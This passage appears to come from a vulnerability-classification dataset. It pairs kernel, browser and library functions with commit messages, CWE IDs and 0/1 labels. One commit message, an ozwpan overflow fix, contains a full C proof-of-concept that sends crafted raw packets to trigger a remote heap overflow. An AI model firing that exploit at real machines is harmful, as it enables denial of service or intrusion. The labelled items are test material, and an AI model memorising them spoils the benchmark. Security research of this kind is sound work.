WaitForIOThreadCompletion();
WaitForAudioManagerCompletion();
ChildProcess::current()->io_message_loop()->PostTask(FROM_HERE,
base::Bind(&WebRTCAudioDeviceTest::UninitializeIOThread,
base::Unretained((this))));
WaitForIOThreadCompletion();
mock_process_.reset();
}
Commit Message: Allow browser to handle all WebUI navigations.
BUG=113496
TEST="Google Dashboard" link in Sync settings loads in new process.
Review URL: http://codereview.chromium.org/9663045
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@126949 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-264
| 0
| 108,549
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void WarmupURLFetcher::FetchWarmupURLNow(
const DataReductionProxyServer& proxy_server) {
DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
UMA_HISTOGRAM_EXACT_LINEAR("DataReductionProxy.WarmupURL.FetchInitiated", 1,
2);
net::NetworkTrafficAnnotationTag traffic_annotation =
net::DefineNetworkTrafficAnnotation("data_reduction_proxy_warmup", R"(
semantics {
sender: "Data Reduction Proxy"
description:
"Sends a request to the Data Reduction Proxy server to warm up "
"the connection to the proxy."
trigger:
"A network change while the data reduction proxy is enabled will "
"trigger this request."
data: "A specific URL, not related to user data."
destination: GOOGLE_OWNED_SERVICE
}
policy {
cookies_allowed: NO
setting:
"Users can control Data Saver on Android via the 'Data Saver' "
"setting. Data Saver is not available on iOS, and on desktop it "
"is enabled by installing the Data Saver extension."
policy_exception_justification: "Not implemented."
})");
GURL warmup_url_with_query_params;
GetWarmupURLWithQueryParam(&warmup_url_with_query_params);
url_loader_.reset();
fetch_timeout_timer_.Stop();
is_fetch_in_flight_ = true;
auto resource_request = std::make_unique<network::ResourceRequest>();
resource_request->url = warmup_url_with_query_params;
resource_request->load_flags = net::LOAD_BYPASS_CACHE;
resource_request->render_frame_id = MSG_ROUTING_CONTROL;
url_loader_ = network::SimpleURLLoader::Create(std::move(resource_request),
traffic_annotation);
static const int kMaxRetries = 5;
url_loader_->SetRetryOptions(
kMaxRetries, network::SimpleURLLoader::RETRY_ON_NETWORK_CHANGE);
url_loader_->SetAllowHttpErrorResults(true);
fetch_timeout_timer_.Start(FROM_HERE, GetFetchTimeout(), this,
&WarmupURLFetcher::OnFetchTimeout);
url_loader_->SetOnResponseStartedCallback(base::BindOnce(
&WarmupURLFetcher::OnURLLoadResponseStarted, base::Unretained(this)));
url_loader_->SetOnRedirectCallback(base::BindRepeating(
&WarmupURLFetcher::OnURLLoaderRedirect, base::Unretained(this)));
url_loader_->DownloadToStringOfUnboundedSizeUntilCrashAndDie(
GetNetworkServiceURLLoaderFactory(proxy_server),
base::BindOnce(&WarmupURLFetcher::OnURLLoadComplete,
base::Unretained(this)));
}
Commit Message: Disable all DRP URL fetches when holdback is enabled
Disable secure proxy checker, warmup url fetcher
and client config fetch when the client is in DRP
(Data Reduction Proxy) holdback.
This CL does not disable pingbacks when client is in the
holdback, but the pingback code is going away soon.
Change-Id: Icbb59d814d1452123869c609e0770d1439c1db51
Bug: 984964
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1709965
Commit-Queue: Tarun Bansal <tbansal@chromium.org>
Reviewed-by: Robert Ogden <robertogden@chromium.org>
Cr-Commit-Position: refs/heads/master@{#679649}
CWE ID: CWE-416
| 1
| 172,425
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static struct netdev_queue *dev_pick_tx(struct net_device *dev,
struct sk_buff *skb)
{
u16 queue_index;
struct sock *sk = skb->sk;
if (sk_tx_queue_recorded(sk)) {
queue_index = sk_tx_queue_get(sk);
} else {
const struct net_device_ops *ops = dev->netdev_ops;
if (ops->ndo_select_queue) {
queue_index = ops->ndo_select_queue(dev, skb);
queue_index = dev_cap_txqueue(dev, queue_index);
} else {
queue_index = 0;
if (dev->real_num_tx_queues > 1)
queue_index = skb_tx_hash(dev, skb);
if (sk) {
struct dst_entry *dst = rcu_dereference_bh(sk->sk_dst_cache);
if (dst && skb_dst(skb) == dst)
sk_tx_queue_set(sk, queue_index);
}
}
}
skb_set_queue_mapping(skb, queue_index);
return netdev_get_tx_queue(dev, queue_index);
}
Commit Message: veth: Dont kfree_skb() after dev_forward_skb()
In case of congestion, netif_rx() frees the skb, so we must assume
dev_forward_skb() also consume skb.
Bug introduced by commit 445409602c092
(veth: move loopback logic to common location)
We must change dev_forward_skb() to always consume skb, and veth to not
double free it.
Bug report : http://marc.info/?l=linux-netdev&m=127310770900442&w=3
Reported-by: Martín Ferrari <martin.ferrari@gmail.com>
Signed-off-by: Eric Dumazet <eric.dumazet@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-399
| 0
| 32,132
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: clear_current_stateid(struct nfsd4_compound_state *cstate)
{
CLEAR_STATE_ID(cstate, CURRENT_STATE_ID_FLAG);
}
Commit Message: Merge tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux
Pull nfsd updates from Bruce Fields:
"Another RDMA update from Chuck Lever, and a bunch of miscellaneous
bugfixes"
* tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux: (26 commits)
nfsd: Fix up the "supattr_exclcreat" attributes
nfsd: encoders mustn't use unitialized values in error cases
nfsd: fix undefined behavior in nfsd4_layout_verify
lockd: fix lockd shutdown race
NFSv4: Fix callback server shutdown
SUNRPC: Refactor svc_set_num_threads()
NFSv4.x/callback: Create the callback service through svc_create_pooled
lockd: remove redundant check on block
svcrdma: Clean out old XDR encoders
svcrdma: Remove the req_map cache
svcrdma: Remove unused RDMA Write completion handler
svcrdma: Reduce size of sge array in struct svc_rdma_op_ctxt
svcrdma: Clean up RPC-over-RDMA backchannel reply processing
svcrdma: Report Write/Reply chunk overruns
svcrdma: Clean up RDMA_ERROR path
svcrdma: Use rdma_rw API in RPC reply path
svcrdma: Introduce local rdma_rw API helpers
svcrdma: Clean up svc_rdma_get_inv_rkey()
svcrdma: Add helper to save pages under I/O
svcrdma: Eliminate RPCRDMA_SQ_DEPTH_MULT
...
CWE ID: CWE-404
| 0
| 65,423
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void PresentationConnectionProxy::close() const {
DCHECK(target_connection_ptr_);
target_connection_ptr_->OnClose();
}
Commit Message: [Presentation API] Add layout test for connection.close() and fix test failures
Add layout test.
1-UA connection.close() hits NOTREACHED() in PresentationConnection::didChangeState(). Use PresentationConnection::didClose() instead.
BUG=697719
Review-Url: https://codereview.chromium.org/2730123003
Cr-Commit-Position: refs/heads/master@{#455225}
CWE ID:
| 0
| 129,520
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool DBusHelperProxy::hasToStopAction()
{
QEventLoop loop;
loop.processEvents(QEventLoop::AllEvents);
return m_stopRequest;
}
Commit Message:
CWE ID: CWE-290
| 0
| 7,219
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: do_simd_coprocessor_error(struct pt_regs *regs, long error_code)
{
enum ctx_state prev_state;
prev_state = exception_enter();
math_error(regs, error_code, X86_TRAP_XF);
exception_exit(prev_state);
}
Commit Message: x86_64, traps: Stop using IST for #SS
On a 32-bit kernel, this has no effect, since there are no IST stacks.
On a 64-bit kernel, #SS can only happen in user code, on a failed iret
to user space, a canonical violation on access via RSP or RBP, or a
genuine stack segment violation in 32-bit kernel code. The first two
cases don't need IST, and the latter two cases are unlikely fatal bugs,
and promoting them to double faults would be fine.
This fixes a bug in which the espfix64 code mishandles a stack segment
violation.
This saves 4k of memory per CPU and a tiny bit of code.
Signed-off-by: Andy Lutomirski <luto@amacapital.net>
Reviewed-by: Thomas Gleixner <tglx@linutronix.de>
Cc: stable@vger.kernel.org
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-264
| 0
| 35,416
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: TypedUrlModelAssociator::TypedUrlModelAssociator(
ProfileSyncService* sync_service,
history::HistoryBackend* history_backend)
: sync_service_(sync_service),
history_backend_(history_backend),
typed_url_node_id_(sync_api::kInvalidId),
expected_loop_(MessageLoop::current()) {
DCHECK(sync_service_);
DCHECK(history_backend_);
DCHECK(!BrowserThread::CurrentlyOn(BrowserThread::UI));
}
Commit Message: Now ignores obsolete sync nodes without visit transitions.
Also removed assertion that was erroneously triggered by obsolete sync nodes.
BUG=none
TEST=run chrome against a database that contains obsolete typed url sync nodes.
Review URL: http://codereview.chromium.org/7129069
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@88846 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
| 0
| 100,815
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ScreenSaverFreeSuspend(void *value, XID id)
{
ScreenSaverSuspensionPtr data = (ScreenSaverSuspensionPtr) value;
ScreenSaverSuspensionPtr *prev, this;
/* Unlink and free the suspension record for the client */
for (prev = &suspendingClients; (this = *prev); prev = &this->next) {
if (this == data) {
*prev = this->next;
free(this);
break;
}
}
/* Reenable the screensaver if this was the last client suspending it. */
if (screenSaverSuspended && suspendingClients == NULL) {
screenSaverSuspended = FALSE;
/* The screensaver could be active, since suspending it (by design)
doesn't prevent it from being forceably activated */
#ifdef DPMSExtension
if (screenIsSaved != SCREEN_SAVER_ON && DPMSPowerLevel == DPMSModeOn)
#else
if (screenIsSaved != SCREEN_SAVER_ON)
#endif
{
DeviceIntPtr dev;
UpdateCurrentTimeIf();
nt_list_for_each_entry(dev, inputInfo.devices, next)
NoticeTime(dev, currentTime);
SetScreenSaverTimer();
}
}
return Success;
}
Commit Message:
CWE ID: CWE-20
| 0
| 17,419
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static SUB_STATE_RETURN write_state_machine(SSL *s)
{
OSSL_STATEM *st = &s->statem;
int ret;
WRITE_TRAN(*transition) (SSL *s);
WORK_STATE(*pre_work) (SSL *s, WORK_STATE wst);
WORK_STATE(*post_work) (SSL *s, WORK_STATE wst);
int (*construct_message) (SSL *s);
void (*cb) (const SSL *ssl, int type, int val) = NULL;
cb = get_callback(s);
if (s->server) {
transition = ossl_statem_server_write_transition;
pre_work = ossl_statem_server_pre_work;
post_work = ossl_statem_server_post_work;
construct_message = ossl_statem_server_construct_message;
} else {
transition = ossl_statem_client_write_transition;
pre_work = ossl_statem_client_pre_work;
post_work = ossl_statem_client_post_work;
construct_message = ossl_statem_client_construct_message;
}
while (1) {
switch (st->write_state) {
case WRITE_STATE_TRANSITION:
if (cb != NULL) {
/* Notify callback of an impending state change */
if (s->server)
cb(s, SSL_CB_ACCEPT_LOOP, 1);
else
cb(s, SSL_CB_CONNECT_LOOP, 1);
}
switch (transition(s)) {
case WRITE_TRAN_CONTINUE:
st->write_state = WRITE_STATE_PRE_WORK;
st->write_state_work = WORK_MORE_A;
break;
case WRITE_TRAN_FINISHED:
return SUB_STATE_FINISHED;
break;
default:
return SUB_STATE_ERROR;
}
break;
case WRITE_STATE_PRE_WORK:
switch (st->write_state_work = pre_work(s, st->write_state_work)) {
default:
return SUB_STATE_ERROR;
case WORK_FINISHED_CONTINUE:
st->write_state = WRITE_STATE_SEND;
break;
case WORK_FINISHED_STOP:
return SUB_STATE_END_HANDSHAKE;
}
if (construct_message(s) == 0)
return SUB_STATE_ERROR;
/* Fall through */
case WRITE_STATE_SEND:
if (SSL_IS_DTLS(s) && st->use_timer) {
dtls1_start_timer(s);
}
ret = statem_do_write(s);
if (ret <= 0) {
return SUB_STATE_ERROR;
}
st->write_state = WRITE_STATE_POST_WORK;
st->write_state_work = WORK_MORE_A;
/* Fall through */
case WRITE_STATE_POST_WORK:
switch (st->write_state_work = post_work(s, st->write_state_work)) {
default:
return SUB_STATE_ERROR;
case WORK_FINISHED_CONTINUE:
st->write_state = WRITE_STATE_TRANSITION;
break;
case WORK_FINISHED_STOP:
return SUB_STATE_END_HANDSHAKE;
}
break;
default:
return SUB_STATE_ERROR;
}
}
}
Commit Message:
CWE ID: CWE-400
| 0
| 9,377
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void ExtensionService::OnExtensionInstalled(
const Extension* extension, bool from_webstore, int page_index) {
CHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));
scoped_refptr<const Extension> scoped_extension(extension);
const std::string& id = extension->id();
bool initial_enable =
!extension_prefs_->IsExtensionDisabled(id) ||
!Extension::UserMayDisable(extension->location());
PendingExtensionInfo pending_extension_info;
if (pending_extension_manager()->GetById(id, &pending_extension_info)) {
pending_extension_manager()->Remove(id);
if (!pending_extension_info.ShouldAllowInstall(*extension)) {
LOG(WARNING)
<< "ShouldAllowInstall() returned false for "
<< id << " of type " << extension->GetType()
<< " and update URL " << extension->update_url().spec()
<< "; not installing";
NotificationService::current()->Notify(
chrome::NOTIFICATION_EXTENSION_INSTALL_NOT_ALLOWED,
Source<Profile>(profile_),
Details<const Extension>(extension));
if (!BrowserThread::PostTask(
BrowserThread::FILE, FROM_HERE,
NewRunnableFunction(&extension_file_util::DeleteFile,
extension->path(), true)))
NOTREACHED();
return;
}
} else {
if (IsExternalExtensionUninstalled(id)) {
initial_enable = true;
}
}
if (!GetExtensionByIdInternal(extension->id(), true, true, false)) {
UMA_HISTOGRAM_ENUMERATION("Extensions.InstallType",
extension->GetType(), 100);
RecordPermissionMessagesHistogram(
extension, "Extensions.Permissions_Install");
}
ShownSectionsHandler::OnExtensionInstalled(profile_->GetPrefs(), extension);
extension_prefs_->OnExtensionInstalled(
extension,
initial_enable ? Extension::ENABLED : Extension::DISABLED,
from_webstore,
page_index);
if (Extension::ShouldAlwaysAllowFileAccess(extension->location()) &&
!extension_prefs_->HasAllowFileAccessSetting(id)) {
extension_prefs_->SetAllowFileAccess(id, true);
}
NotificationService::current()->Notify(
chrome::NOTIFICATION_EXTENSION_INSTALLED,
Source<Profile>(profile_),
Details<const Extension>(extension));
AddExtension(scoped_extension);
}
Commit Message: Limit extent of webstore app to just chrome.google.com/webstore.
BUG=93497
TEST=Try installing extensions and apps from the webstore, starting both being
initially logged in, and not.
Review URL: http://codereview.chromium.org/7719003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@97986 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-264
| 0
| 98,626
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: HashSet<SVGElement*>* SVGDocumentExtensions::setOfElementsReferencingTarget(SVGElement* referencedElement) const
{
ASSERT(referencedElement);
const HashMap<SVGElement*, OwnPtr<HashSet<SVGElement*> > >::const_iterator it = m_elementDependencies.find(referencedElement);
if (it == m_elementDependencies.end())
return 0;
return it->value.get();
}
Commit Message: SVG: Moving animating <svg> to other iframe should not crash.
Moving SVGSVGElement with its SMILTimeContainer already started caused crash before this patch.
|SVGDocumentExtentions::startAnimations()| calls begin() against all SMILTimeContainers in the document, but the SMILTimeContainer for <svg> moved from other document may be already started.
BUG=369860
Review URL: https://codereview.chromium.org/290353002
git-svn-id: svn://svn.chromium.org/blink/trunk@174338 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID:
| 0
| 120,408
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: PHP_FUNCTION(pg_free_result)
{
zval *result;
pgsql_result_handle *pg_result;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &result) == FAILURE) {
return;
}
ZEND_FETCH_RESOURCE(pg_result, pgsql_result_handle *, &result, -1, "PostgreSQL result", le_result);
if (Z_LVAL_P(result) == 0) {
RETURN_FALSE;
}
zend_list_delete(Z_RESVAL_P(result));
RETURN_TRUE;
}
Commit Message:
CWE ID:
| 0
| 14,728
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int oz_clear_port_feature(struct usb_hcd *hcd, u16 wvalue, u16 windex)
{
struct oz_port *port;
u8 port_id = (u8)windex;
struct oz_hcd *ozhcd = oz_hcd_private(hcd);
unsigned clear_bits = 0;
if ((port_id < 1) || (port_id > OZ_NB_PORTS))
return -EPIPE;
port = &ozhcd->ports[port_id-1];
switch (wvalue) {
case USB_PORT_FEAT_CONNECTION:
oz_dbg(HUB, "USB_PORT_FEAT_CONNECTION\n");
break;
case USB_PORT_FEAT_ENABLE:
oz_dbg(HUB, "USB_PORT_FEAT_ENABLE\n");
clear_bits = USB_PORT_STAT_ENABLE;
break;
case USB_PORT_FEAT_SUSPEND:
oz_dbg(HUB, "USB_PORT_FEAT_SUSPEND\n");
break;
case USB_PORT_FEAT_OVER_CURRENT:
oz_dbg(HUB, "USB_PORT_FEAT_OVER_CURRENT\n");
break;
case USB_PORT_FEAT_RESET:
oz_dbg(HUB, "USB_PORT_FEAT_RESET\n");
break;
case USB_PORT_FEAT_POWER:
oz_dbg(HUB, "USB_PORT_FEAT_POWER\n");
clear_bits |= USB_PORT_STAT_POWER;
break;
case USB_PORT_FEAT_LOWSPEED:
oz_dbg(HUB, "USB_PORT_FEAT_LOWSPEED\n");
break;
case USB_PORT_FEAT_C_CONNECTION:
oz_dbg(HUB, "USB_PORT_FEAT_C_CONNECTION\n");
clear_bits = USB_PORT_STAT_C_CONNECTION << 16;
break;
case USB_PORT_FEAT_C_ENABLE:
oz_dbg(HUB, "USB_PORT_FEAT_C_ENABLE\n");
clear_bits = USB_PORT_STAT_C_ENABLE << 16;
break;
case USB_PORT_FEAT_C_SUSPEND:
oz_dbg(HUB, "USB_PORT_FEAT_C_SUSPEND\n");
break;
case USB_PORT_FEAT_C_OVER_CURRENT:
oz_dbg(HUB, "USB_PORT_FEAT_C_OVER_CURRENT\n");
break;
case USB_PORT_FEAT_C_RESET:
oz_dbg(HUB, "USB_PORT_FEAT_C_RESET\n");
clear_bits = USB_PORT_FEAT_C_RESET << 16;
break;
case USB_PORT_FEAT_TEST:
oz_dbg(HUB, "USB_PORT_FEAT_TEST\n");
break;
case USB_PORT_FEAT_INDICATOR:
oz_dbg(HUB, "USB_PORT_FEAT_INDICATOR\n");
break;
default:
oz_dbg(HUB, "Other %d\n", wvalue);
break;
}
if (clear_bits) {
spin_lock_bh(&port->port_lock);
port->status &= ~clear_bits;
spin_unlock_bh(&port->port_lock);
}
oz_dbg(HUB, "Port[%d] status = 0x%x\n",
port_id, ozhcd->ports[port_id-1].status);
return 0;
}
Commit Message: ozwpan: Use unsigned ints to prevent heap overflow
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-189
| 0
| 43,161
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static oidc_provider_t *oidc_get_provider_for_issuer(request_rec *r,
oidc_cfg *c, const char *issuer, apr_byte_t allow_discovery) {
/* by default we'll assume that we're dealing with a single statically configured OP */
oidc_provider_t *provider = NULL;
if (oidc_provider_static_config(r, c, &provider) == FALSE)
return NULL;
/* unless a metadata directory was configured, so we'll try and get the provider settings from there */
if (c->metadata_dir != NULL) {
/* try and get metadata from the metadata directory for the OP that sent this response */
if ((oidc_metadata_get(r, c, issuer, &provider, allow_discovery)
== FALSE) || (provider == NULL)) {
/* don't know nothing about this OP/issuer */
oidc_error(r, "no provider metadata found for issuer \"%s\"",
issuer);
return NULL;
}
}
return provider;
}
Commit Message: release 2.1.6 : security fix: scrub headers for "AuthType oauth20"
Signed-off-by: Hans Zandbelt <hans.zandbelt@zmartzone.eu>
CWE ID: CWE-287
| 0
| 68,130
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: event_set_no_set_filter_flag(struct trace_event_file *file)
{
file->flags |= EVENT_FILE_FL_NO_SET_FILTER;
}
Commit Message: Merge tag 'trace-v4.18-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/rostedt/linux-trace
Pull tracing fixes from Steven Rostedt:
"This contains a few fixes and a clean up.
- a bad merge caused an "endif" to go in the wrong place in
scripts/Makefile.build
- softirq tracing fix for tracing that corrupts lockdep and causes a
false splat
- histogram documentation typo fixes
- fix a bad memory reference when passing in no filter to the filter
code
- simplify code by using the swap macro instead of open coding the
swap"
* tag 'trace-v4.18-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/rostedt/linux-trace:
tracing: Fix SKIP_STACK_VALIDATION=1 build due to bad merge with -mrecord-mcount
tracing: Fix some errors in histogram documentation
tracing: Use swap macro in update_max_tr
softirq: Reorder trace_softirqs_on to prevent lockdep splat
tracing: Check for no filter when processing event filters
CWE ID: CWE-787
| 0
| 81,566
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool BackendImpl::CheckIndex() {
DCHECK(data_);
size_t current_size = index_->GetLength();
if (current_size < sizeof(Index)) {
LOG(ERROR) << "Corrupt Index file";
return false;
}
if (new_eviction_) {
if (kIndexMagic != data_->header.magic ||
kCurrentVersion >> 16 != data_->header.version >> 16) {
LOG(ERROR) << "Invalid file version or magic";
return false;
}
if (kCurrentVersion == data_->header.version) {
UpgradeTo2_1();
}
} else {
if (kIndexMagic != data_->header.magic ||
kCurrentVersion != data_->header.version) {
LOG(ERROR) << "Invalid file version or magic";
return false;
}
}
if (!data_->header.table_len) {
LOG(ERROR) << "Invalid table size";
return false;
}
if (current_size < GetIndexSize(data_->header.table_len) ||
data_->header.table_len & (kBaseTableLen - 1)) {
LOG(ERROR) << "Corrupt Index file";
return false;
}
AdjustMaxCacheSize(data_->header.table_len);
#if !defined(NET_BUILD_STRESS_CACHE)
if (data_->header.num_bytes < 0 ||
(max_size_ < std::numeric_limits<int32_t>::max() - kDefaultCacheSize &&
data_->header.num_bytes > max_size_ + kDefaultCacheSize)) {
LOG(ERROR) << "Invalid cache (current) size";
return false;
}
#endif
if (data_->header.num_entries < 0) {
LOG(ERROR) << "Invalid number of entries";
return false;
}
if (!mask_)
mask_ = data_->header.table_len - 1;
return index_->Preload();
}
Commit Message: Blockfile cache: fix long-standing sparse + evict reentrancy problem
Thanks to nedwilliamson@ (on gmail) for an alternative perspective
plus a reduction to make fixing this much easier.
Bug: 826626, 518908, 537063, 802886
Change-Id: Ibfa01416f9a8e7f7b361e4f93b4b6b134728b85f
Reviewed-on: https://chromium-review.googlesource.com/985052
Reviewed-by: Matt Menke <mmenke@chromium.org>
Commit-Queue: Maks Orlovich <morlovich@chromium.org>
Cr-Commit-Position: refs/heads/master@{#547103}
CWE ID: CWE-20
| 0
| 147,197
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void rds_inc_put(struct rds_incoming *inc)
{
rdsdebug("put inc %p ref %d\n", inc, refcount_read(&inc->i_refcount));
if (refcount_dec_and_test(&inc->i_refcount)) {
BUG_ON(!list_empty(&inc->i_item));
inc->i_conn->c_trans->inc_free(inc);
}
}
Commit Message: net/rds: Fix info leak in rds6_inc_info_copy()
The rds6_inc_info_copy() function has a couple struct members which
are leaking stack information. The ->tos field should hold actual
information and the ->flags field needs to be zeroed out.
Fixes: 3eb450367d08 ("rds: add type of service(tos) infrastructure")
Fixes: b7ff8b1036f0 ("rds: Extend RDS API for IPv6 support")
Reported-by: 黄ID蝴蝶 <butterflyhuangxx@gmail.com>
Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Ka-Cheong Poon <ka-cheong.poon@oracle.com>
Acked-by: Santosh Shilimkar <santosh.shilimkar@oracle.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-200
| 0
| 87,823
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void ChildProcessLauncherHelper::DumpProcessStack(
const base::Process& process) {
JNIEnv* env = AttachCurrentThread();
DCHECK(env);
return Java_ChildProcessLauncherHelperImpl_dumpProcessStack(env, java_peer_,
process.Handle());
}
Commit Message: android: Stop child process in GetTerminationInfo
Android currently abuses TerminationStatus to pass whether process is
"oom protected" rather than whether it has died or not. This confuses
cross-platform code about the state process.
Only TERMINATION_STATUS_STILL_RUNNING is treated as still running, which
android never passes. Also it appears to be ok to kill the process in
